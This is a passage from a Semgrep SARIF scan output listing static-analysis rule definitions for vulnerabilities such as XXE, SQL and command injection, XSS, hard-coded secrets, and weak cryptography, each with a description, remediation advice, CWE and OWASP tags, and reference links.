prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","id":"java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","name":"java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"help":{"markdown":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector)\n - [https://cwe.mitre.org/data/definitions/329.html](https://cwe.mitre.org/data/definitions/329.html)\n","text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","id":"java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","name":"java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","properties":{"precision":"very-high","tags":["CWE-329: Generation of Predictable IV with CBC Mode","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","id":"ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","name":"ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","id":"java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","name":"java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`"},"help":{"markdown":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.raw-query.avoid-raw-sql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#raw-sql-expressions](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#raw-sql-expressions)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`"},"helpUri":"https://semgrep.dev/r/python.django.security.audit.raw-query.avoid-raw-sql","id":"python.django.security.audit.raw-query.avoid-raw-sql","name":"python.django.security.audit.raw-query.avoid-raw-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.raw-query.avoid-raw-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","id":"python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","name":"python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"help":{"markdown":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-os-exec.dangerous-os-exec)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-os-exec.dangerous-os-exec","id":"python.lang.security.dangerous-os-exec.dangerous-os-exec","name":"python.lang.security.dangerous-os-exec.dangerous-os-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-os-exec.dangerous-os-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure"},"help":{"markdown":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide](https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide)\n","text":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'."},"help":{"markdown":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'."},"helpUri":"https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","id":"java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","name":"java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","id":"csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","name":"csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","id":"java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","name":"java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.jwt-none-alg.java-jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","id":"scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","name":"scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`."},"help":{"markdown":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jssha.jssha-sha1.jssha-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`."},"helpUri":"https://semgrep.dev/r/javascript.jssha.jssha-sha1.jssha-sha1","id":"javascript.jssha.jssha-sha1.jssha-sha1","name":"javascript.jssha.jssha-sha1.jssha-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jssha.jssha-sha1.jssha-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","id":"java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","name":"java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument."},"help":{"markdown":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sh.security.string-concat.string-concat)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument."},"helpUri":"https://semgrep.dev/r/python.sh.security.string-concat.string-concat","id":"python.sh.security.string-concat.string-concat","name":"python.sh.security.string-concat.string-concat","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sh.security.string-concat.string-concat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL."},"help":{"markdown":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n","text":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","id":"python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","name":"python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead."},"help":{"markdown":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key)\n - [http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.AutoAddPolicy](http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.AutoAddPolicy)\n","text":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","id":"python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","name":"python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","properties":{"precision":"very-high","tags":["CWE-322: Key Exchange without Entity Authentication","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities"},"help":{"markdown":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities\n\n<b>References:</b>\n - [Semgrep 